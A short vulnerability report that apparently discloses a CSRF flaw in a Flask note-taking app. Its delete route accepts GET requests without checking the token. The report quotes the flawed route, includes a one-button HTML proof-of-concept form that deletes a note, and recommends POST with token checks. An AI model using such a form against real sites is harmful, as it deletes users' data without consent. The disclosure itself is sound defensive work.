Missing CSRF token validation leads to note deletion.
Route /dataobj/delete/<int:dataobj_id>
is responsible for note deletion. Instead of POST
it accepts GET
and DELETE
methods.
@app.route("/dataobj/delete/<int:dataobj_id>", methods=["DELETE", "GET"])
def delete_data(dataobj_id):
try:
data.delete_item(dataobj_id)
except BaseException:
flash("Data could not be found!", "error")
return redirect("/")
flash("Data deleted!", "success")
return redirect("/")
While they both contain CSRF tokens, in fact the token is not verified, so it is possible to exclude it from query which leads to CSRF.
PoC.html
with concrete ID in your browser, click the button.// PoC.html
<form action="http://127.0.0.1:5000/dataobj/delete/{yourNoteID}" method="GET">
<input type="submit" value="Click me"/>
</form>
Use POST
method instead and verify CSRF token.
This vulnerability is capable of deleting user’s notes.